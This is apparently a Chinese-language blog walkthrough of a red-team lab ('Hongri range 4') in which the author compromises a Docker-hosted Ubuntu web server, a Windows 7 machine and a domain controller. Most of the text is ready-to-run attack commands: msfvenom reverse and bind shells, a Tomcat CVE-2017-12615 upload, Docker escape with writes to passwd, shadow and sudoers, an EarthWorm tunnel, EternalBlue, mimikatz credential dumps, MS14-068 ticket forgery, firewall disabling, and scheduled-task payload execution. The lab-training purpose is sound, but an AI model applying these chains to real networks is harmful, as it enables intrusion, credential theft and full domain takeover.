freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ATT&CK红队评估(红日靶场四)
2022-08-28 23:17:42
所属地 湖南省

靶场搭建

靶场下载地址:http://39.98.79.56/vuln/detail/6/

共有三台主机DC、WEB、WIN7

机器密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008

网络配置

创建两个子网vmnet0和vmnet1

vmnet1:192.168.183.0

WEB主机网卡设置

WIN7主机网卡设置

DC主机网卡设置

攻击机kali的网卡和WEB主机的第一章出网网卡一致为NAT模式

WEB主机(Ubuntu)

DC主机(Windows 2008)

WIN7

WEB主机(Ubuntu)上启动环境

sudo docker start ec 17 09 bb da 3d ab ad

渗透测试

扫描端口开放情况

nmap -sS -p 1-65535 -A 192.168.48.146

端口22开放,存在SSH服务

2001,2002,2003端口开放,存在WEB

看到2001使用了Struts2中间件

2002使用了Apache Tomcat中间件

2003为Apache、PHPmyadmin、mysql

访问WEB

2001端口

2002端口

2003端口,发现不需要密码就可以进入phpmyadmin后台

利用Struts2漏洞获得shell

使用了Struts2

直接使用工具进行检测和利用

利用漏洞上传msf马

生成msf马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f jsp > shell.jsp

msf启动监听

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.48.136

exploit

访问马

成功收到会话

利用phpmyadmin后台获得shell

还可以利用phpmyadmin来使用数据库日志写入马来获得会话,这里就不做演示了,方法和之前的红日靶场一的一样,可以前往查看。链接:https://blog.csdn.net/weixin_45682839/article/details/123410686

利用Tomcat漏洞获得shell

还可以利用Tomcat CVE-2017-12615 任意文件写入

payload

PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

利用payload写入msf马

访问马

成功获得会话

内网渗透

在获得中打开shell

不是完整的shell,使用pyhton中的pty模块反弹一个完整的shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

进行信息搜集

查看系统进程的cgroup信息

ls -alh /.dockerenv

发现为Docker环境

Docker逃逸

利用dirty cow来进行docker逃逸

这种利用方法利用成功的前提是,宿主机的内核有dirty cow漏洞。

git clone https://github.com/scumjr/dirtycow-vdso.git

cd dirtycow-vdso

make

在目标主机上无法进行make编译,我们在攻击机kali上编译之后通过kali临时搭建一个python网站

python -m SimpleHTTPServer 80

在目标主机上使用命令下载编译好的文件

wget http://192.168.48.136/0xdeadbeef

192.168.48.136位kali的ip

利用工具反弹shell到本地主机

chmod +x 0xdeadbeef

./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

./0xdeadbeef 127.0.0.1 1234

利用失败,不存在dirtycow漏洞

换另一种方式进行docker逃逸

利用特权模式进行逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

查看磁盘文件

fdisk -l

在这里发现一个问题,通过Struts2获得的shell,的磁盘文件为空,所以利用不了

但是通过Tomcat获得的shell就可以利用

创建一个文件夹,将宿主机根目录挂载至容器目录下

mkdir /out

mount /dev/sda1 /out

添加账号密码通过ssh进行登录

echo "qwe1:x:1006:1006:qwe1,,,:/home/qwe1:/bin/bash" >> test/etc/passwd

echo "qwe1:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18381:0:99999:7:::" >> test/etc/shadow

一直提示密码不正确,试了很多遍都是这样

通过写入ssh秘钥

在kali上生成秘钥

ssh-keygen -t rsa (密码为空)

> out1/home/ubuntu/.ssh/authorized_keys","marks":[{"type":"inlineCode"}]}]}],"state":{}}]'>

将生成的公钥写入目标主机

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0y3RzGTTLabQjOv0QALZnrPq1Rf2gGOwNZ+AIGVGHHVWun5MZhJRo+FBGhAVrFIwvYchZzKRs8T8W7YmsSBHykKMR6LfpYl1QOXop2eCSOTwj8dfYgPFv22d7pdYK4Vicmwu9RIpcqAdrZ1E0N+WgdIxDz7/rHi9Tku7o2DkFekvMM6UOkmGo7CL0C17iAyRmAlIOBV/+oz6MdPQOSJ4BpcvS6U9kS3dJli8fNDylt+wWH4Uh5CbuJnfJDiOkm+Tvxw6qBpv9t5v1iWK3cXwFc60g2oGm68fuBV1mrLEQQVdcpj8xczWfMzJFOxWBHSVWWcwHT7L+BI6SKvXtOlLtRJbZ+KtKBGXRF/XKMyjjtd35b5Ol5Ounn7OEqrE1/epQbJ7NjDj2apNcpg+xIZQpLJIj9qREDdtpkFmii8XsZnZr/uBy2D5wUMpFinE9RMGoqcxj1BWIXclrQy94e1Vjyd6n/JtirspLMNOhSxjNuydewq0pd9VwQkcEhYaIZ9U= root@kali' >> out1/home/ubuntu/.ssh/authorized_keys

写入后进行登录(免密登录),试了很多次也没有成功

又试了写入计划任务外连,也没有成功

这里只好直接用Ubuntu密码直接登录ssh了

普通用户权限

提权

ubuntu是用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权。

echo 'ubuntu ALL=(ALL:ALL) ALL' >> out/etc/sudoers

(在docker中的shell中执行)

sudo su root

上传msf马,获得msf会话

生成msf马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f elf > shell.elf

启动临时网站

python -m SimpleHTTPServer 80

将msf马下载到目标主机

wget http://192.168.48.136/shell.elf

msf进行监听

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.48.136

exploit

执行msf马,成功收到会话

内网信息搜集

ifconfig

发现内网网卡

添加路由建立代理

route add 192.168.183.0 255.255.255.0 2

利用earthworm建立代理

在kali上执行命令

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在目标主机上上传ew_for_linux64

执行命令

./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234

vi /etc/proxychains4.conf

测试代理是否创建成功

ping 192.168.183.128

内网存活主机探测

use auxiliary/scanner/discovery/udp_probe

set RHOSTS 192.168.183.0/24

set THREADS 5

exploit

发现两台主机:

192.168.183.130 WIN-ENS2VR5TR3N

192.168.183.128 TESTWIN7-PC

横向移动

扫描内网主机端口开放情况

nmap -sS -p 1-65535 -A 192.168.183.130

发现130主机为域控,域名为demo.com

nmap -sS -p 1-65535 -A 192.168.183.128(因为-A全扫描太费时间了,这里第二个就不用了)

两台主机都开放了445端口,试一下使用永恒之蓝

use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS 192.168.183.132(我这里win7主机中途重启了,IP地址改变了,之前是128)

set RHOSTS 192.168.183.130

两台主机都存在永恒之蓝,利用

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set RHOSTS 192.168.183.135(重启了,ip地址又改变了,现在135是win7)

试了好几遍都没有成功,后来发现是本机的的火绒给拦截了,关闭火绒后就成功了

成功拿下WIN7主机

Windows2008试了好几次,然后打蓝屏了,没有拿下,换个模块试试

use exploit/windows/smb/ms17_010_psexec

还是不行

换其它方式

回到WIN7会话,进程迁移

migrate PID

使用mimikatz,也可以使用msf中的mimikatz(在高版本msf中被kiwi取代)

mimikatz.exe

privilege::debug

sekurlsa::logonpasswords

mimikatz工具这台主机桌面上已经有了,靶场搭建者准备好的

USER:douser

Domain:DEMO.COM

NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e

SID:S-1-5-21-979886063-1111900045-1414766810-1107

PASSWORD:Dotest123

利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。

该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。

使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。

使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)

微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780

操作步骤

1、生成高权限票据

MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

2、查看注入前的权限

将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \\WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。

3、清除内存中的所有票据

打开mimikatz

输入kerberos::purge

当看到"Ticket(s) purge for current session is OK'时,表示清除成功

4、将高权限的票据注入内存

kerberos::ptc "TGT_user1@pentest.com.ccache"(双引号里面的是票据的名字)

kerberos::ptc "TGT_douser@DEMO.COM.ccache"

注入成功

生成一个msf马通过文件共享上传至域控主机

首先关闭WIN7防火墙

NetSh Advfirewall set allprofiles state off

生成msf bind马

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe

开启WIN7 3389远程连接用于上传文件

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

在WIN7上创建新的用户并加入到管理员组

net user aaa qwe123!asd /add

net localgroup administrators aaa /add

通过远程桌面上传msf马到域控

在kali上输入命令

rdesktop 192.168.183.137 -r disk:wj=/root

-r 为指定共享的磁盘

用刚才添加的账号登录

将刚生成的msf马复制到WIN7中

再通过文件共享将马复制到域控中

copy shell.exe \\WIN-ENS2VR5TR3N\c$

schtasks /create /S WIN-ENS2VR5TR3N /TN "test" /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f

msf开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set RHOST 192.168.183.130

set LPORT 7777

exploit

等了很久没有收到会话,在域控上看到7777端口处于监听模式,证明计划任务执行成功,没有收到会话肯定是因为防火墙拦截了

再创建一个计划任务关闭防火墙

echo NetSh Advfirewall set allprofiles state off >> 1.bat

copy 1.bat \\WIN-ENS2VR5TR3N\c$

schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f

成功收到会话


# 渗透测试 # 网络安全 # web安全 # 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录